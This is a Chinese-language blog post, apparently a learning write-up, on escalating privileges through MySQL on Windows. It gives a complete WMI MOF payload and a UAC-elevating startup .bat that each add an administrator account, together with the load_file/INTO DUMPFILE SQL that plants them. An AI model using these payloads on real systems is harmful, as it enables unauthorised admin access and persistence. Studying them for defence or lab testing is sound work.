MySQL数据库提权学习

Posted Goodric

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL数据库提权学习相关的知识,希望对你有一定的参考价值。

mysql数据库提权学习

——

之前测试过MySQL的udf提权方式,现在对MySQL的其它两种方式进行测试与学习。

MySQL数据库UDF提权:
https://blog.csdn.net/Goodric/article/details/125916936?spm=1001.2014.3001.5501

——
——

mof提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
在mysql的root权限下,使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

影响: windows server2008以下的版本

——
先创建一个 .mof文件,通过webshell或上传漏洞上传到目标机器的可读写的目录。

#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")

instance of __EventFilter as $EventFilter

    EventNamespace = "Root\\\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \\"Win32_LocalTime\\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
;


instance of ActiveScriptEventConsumer as $Consumer

    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin admin123!@# /add\\")";
;


instance of __FilterToConsumerBinding

    Consumer   = $Consumer;
    Filter = $EventFilter;
;

这里通过webshell上传到网站根目录。

然后通过数据库语句导入到mof文件夹中。

select load_file(‘C:/phpstudy_pro/WWW/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

可以看到成功导入到了mof文件夹中

过一会里面的语句就会被执行,然后文件应该会自动放在上图中good文件夹中。

——
——

启动项提权

原理:
向 启动项目录导入自定义bat或vbs文件,
重启服务器则会自动调用导入到启动项目录下的下的VBS或bat脚本,并执行其中的用户添加及提权命令。

条件
启动项目录可读写,直接将提权脚本上传到该目录下
root账号登陆MySQL

测试:

创建 .bat 文件,文件内容:

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
net user test test123! /add

其中这些内容的作用是以管理员权限执行这个bat文件。(不然cmd命令行可能会回显拒绝访问)

%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

这个就是我们想要执行的cmd命令创建用户了。(当前可能只有网站的权限,通过这里可以执行管理员可执行的命令)

net user test test123! /add

通过webshell等方式先把文件放入目标机的可读写目录。
然后通过sql语句导入到启动项目录。

select load_file('C:\\\\phpstudy_pro\\\\WWW\\\\add.bat') into dumpfile 'C:\\\\Users\\\\goodric\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\add.bat';


——
可以看到成功导入到启动项目录。

如果启动项的目录不好找,可以在开始-所有程序-启动-打开查看这个文件夹。

然后重启就会自动执行这个.bat文件。不够也会存在一个问题,如果以管理员执行这个文件的话,可能会弹这个窗口(目标机器可以设置不弹出),不知道有没有其它方法可以以管理员方式执行且不执行的。

以上是关于MySQL数据库提权学习的主要内容,如果未能解决你的问题,请参考以下文章

MySQL数据库提权学习

MYSQL提权的几种方式

干货|Mysql漏洞利用和提权

cve-2012-5613 mysql本地提权

MySQL提权之udf提权

MySQL提权之udf提权